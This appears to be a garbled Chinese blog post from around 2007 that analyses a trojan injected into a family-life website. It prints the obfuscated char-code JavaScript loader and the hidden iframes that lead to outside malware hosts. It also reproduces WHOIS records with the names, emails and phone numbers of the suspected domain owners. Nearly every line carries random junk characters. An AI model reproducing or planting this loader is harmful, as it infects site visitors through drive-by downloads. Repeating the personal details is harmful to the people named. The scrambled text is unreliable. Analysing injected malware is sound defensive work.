首发在我的博客里面，
2[
=
=
"{(|}Cds http://www.areway.cn/?p=175 6
<XQ'tM]N o&0fvCpW ;-sZaU; 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
FjR/_GPo6 E6JfSH# <script>t=’60,105,102,114,97,109,101,
5.! O C5tO 32,115,114,99,61,104,116,116,112,58,47,47,
#{K}o} 102,114,101,101,46,117,45,117,117,117,46,99,
0)F.Y,L 110,47,101,114,114,111,114,46,104,116,109,
FnxPM`Zx 32,119,105,100,116,104,61,49,48,48,32,104,
cq+G 0F+H 101,105,103,104,116,61,48,62,60,47,105,102,
diHK 114,97,109,101,62′;
|y1O M t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
!i j
R 0Xo>f"2<f <script>t=’60,105,102,114,97,109,101,32,115,
;E:vsVK 114,99,61,104,116,116,112,58,47,47,102,114,
& n$kVNE 101,101,46,117,45,117,117,117,46,99,110,47,
Iue}AGxu:{ 101,114,114,111,114,46,104,116,109,32,119,
nilis-Bk_ 105,100,116,104,61,49,48,48,32,104,101,105,
I]Ev6>=; 103,104,116,61,48,62,60,47,105,102,114,97,
V6Z~#=EQ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
~&HP }Q$#f document.write(t);</script>
^/]w}C#:d Hi%)TDfv <html xmlns=”
'F2g2W` http://www.w3.org/1999/xhtml zUq ^ “>
@7UZ{+67*C <head>
!ZNirvk <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
J([Y 4Em5 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Y*VF1M,2_ <title>首页 - 爱生活家庭网
3bYP i^ &s6;2G&L$ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
lCafs IB 转换字符串后的大概内容是（谁点击后果自付）：
X* 4C? v <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
I+2#k\y '3<T~t 查询玉米u-uuu.cn的详细信息：
Z9wKjxu+ Domain Name: u-uuu.cn
Fi+8| /5 ROID: 20070901s10001s64972306-cn
^ AhV1rBB Domain Status: ok
~:FF"T> Registrant Organization: 王雷
xVxN
@[ Registrant Name: 王雷
#q LsAw--Q Administrative Email:
czlovexs@126.com mr mm@? Sponsoring Registrar: 北京万网志成科技有限公司
|\.:h":!0~ Name Server:ns.yovole.com
uA-1VwW+N Name Server:ns1.yovole.com
S)LvYOOB@ Registration Date: 2007-09-01 17:54
nA*U dr cn Expiration Date: 2008-09-01 17:54
4y*"w*L 最后PING了一下地址 都没有什么….
Nk63F&J7e *^ y,Gg/ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
68*a'0 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
gn//]|#H+ <script language=”javascript” src=”
A@uU*]TqJ8 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script f/7on| bv >
&u`EYxT 这个玉米应该有可能是木马作者的：
qu\cU(H| foafau.info的详细信息：
@7HHi~1JK Access to INFO WHOIS information is provided to assist persons in
F8H4R7
8>; determining the contents of a domain name registration record in the
8 :t!m>( * Afilias registry database. The data in this record is provided by
c,CcKy;+ Afilias Limited for informational purposes only, and Afilias does not
<)$&V*\ guarantee its accuracy. This service is intended only for query-based
jOUM+QO access. You agree that you will use this data only for lawful purposes
F(O"S@ and that, under no circumstances will you use this data to: (a) allow,
+Y ?) ? enable, or otherwise support the transmission by e-mail, telephone, or
bG)EZ facsimile of mass unsolicited, commercial advertising or solicitations
o$QC:%[ # to entities other than the data recipient’s own existing customers; or
A"tE~ m;"7 (b) enable high volume, automated, electronic processes that send
o5B]? ekpq queries or data to the systems of Registry Operator, a Registrar, or
6Y`rQ/F Afilias except as reasonably necessary to register domain names or
7Pe<0K)s( modify existing registrations. All rights reserved. Afilias reserves
!zVjbYWY the right to modify these terms at any time. By submitting this query,
|)VNf .aJZ you agree to abide by this policy.
0Q7|2{ Domain ID:D22418703-LRMS
?K\ r-J!Y Domain Name:FOAFAU.INFO
ZH)Jq^^RI Created On:20-Nov-2007 16:05:42 UTC
^HhV ?Iqg Last Updated On:20-Nov-2007 16:05:44 UTC
n\ 'PN B Expiration Date:20-Nov-2008 16:05:42 UTC
bL`># M_^ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
;n q" jm Status:CLIENT DELETE PROHIBITED
bv W3[ V Status:CLIENT RENEW PROHIBITED
,(i`gH{D Status:CLIENT TRANSFER PROHIBITED
q2 b>Z6!5 Status:CLIENT UPDATE PROHIBITED
8vkCmV Status:TRANSFER PROHIBITED
>,x& L[3 Registrant ID:GODA-040110615
'yo-`nNFD Registrant Name:liu hong
$^e(?P q Registrant Organization:
4A`U [r_>D Registrant Street1:beijing
lY&Sx{ - Registrant Street2:
'4Drs}j5 Registrant Street3:
P3!JA)p6a Registrant City:beijing
frokl5L@ Registrant State/Province:
}y1r
yeW< Registrant Postal Code:100000
-zg 6^f_pW Registrant Country:CN
:: p%R@? Registrant Phone:+86.860108888777
Or#KF6+ut Registrant Phone Ext.:
k4 d;4D? Registrant FAX:
h ,\5C/ Registrant FAX Ext.:
<a&w$ Zc/ Registrant Email:bbbshiji@163.com
tmd{G x}c Admin ID:GODA-240110615
u4tv= +jh Admin Name:liu hong
x4i&;SP0 Admin Organization:
n-9a 0_{k Admin Street1:beijing
ov<vSc<u Admin Street2:
+B[XTn,Cru Admin Street3:
\sAkKPI Admin City:beijing
2:@,~{`#* Admin State/Province:
s)jNP\- Admin Postal Code:100000
mB xMDnh Admin Country:CN
b0sj0w / Admin Phone:+86.860108888777
[b+B"f6 Admin Phone Ext.:
ef7 BG( Admin FAX:
ev #/v:$? Admin FAX Ext.:
:IX, mDO Admin Email:bbbshiji@163.com
^RE[5h6^q Billing ID:GODA-340110615
"Lyb4# M Billing Name:liu hong
mPF<2 :)wv Billing Organization:
D9 Mst6 Billing Street1:beijing
LSR0yCU
Billing Street2:
`,O"^zR)z Billing Street3:
'C=(?H )M Billing City:beijing
#)#J` s1R Billing State/Province:
R , #szTu Billing Postal Code:100000
GTi=VSGqF Billing Country:CN
c'XSs Billing Phone:+86.860108888777
g*Pn_Yo[. Billing Phone Ext.:
/U,(u9bq Billing FAX:
ex#-,;T Billing FAX Ext.:
>7)QdaB Billing Email:bbbshiji@163.com
W9{i ~.zo Tech ID:GODA-140110615
}~Do0XUH Tech Name:liu hong
9@?|rj e9 Tech Organization:
?VCp_Ji Tech Street1:beijing
DxD\o+:r Tech Street2:
z0x^HDAeC Tech Street3:
@#*{*
S8 Tech City:beijing
|'lNR)5 Tech State/Province:
KMG}VG
Tech Postal Code:100000
tS Y4' Tech Country:CN
KYy oN Tech Phone:+86.860108888777
L8Q/!+K Tech Phone Ext.:
U\W$^r, Tech FAX:
{3SK|J` Tech FAX Ext.:
$2Awp@j Tech Email:bbbshiji@163.com
f'MRC
\ Name Server:NS27.DOMAINCONTROL.COM
cuI&Q?+c} Name Server:NS28.DOMAINCONTROL.COM
|z8_]o+|r1 Name Server:
Q"Exmn 3p Name Server:
Lctp=X4 Name Server:
2"k|IHs1 Name Server:
iaQfxQP1w% Name Server:
3DxgfP%n Name Server:
WZjR^ 6 Name Server:
oCLM'\ Name Server:
<(~W g{ Name Server:
n ET<u; Name Server:
Bio QV47B Name Server:
_v 8u% bMsThoePT 接着下载每个文件里面的代码：
5z_Kkf?o 一步一步看..
@+_pj.D 
xSO5?eR"u 
~[kI! [ 
Y]
UoV_ 
fB&i{_J 
zsj]WP6 j 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
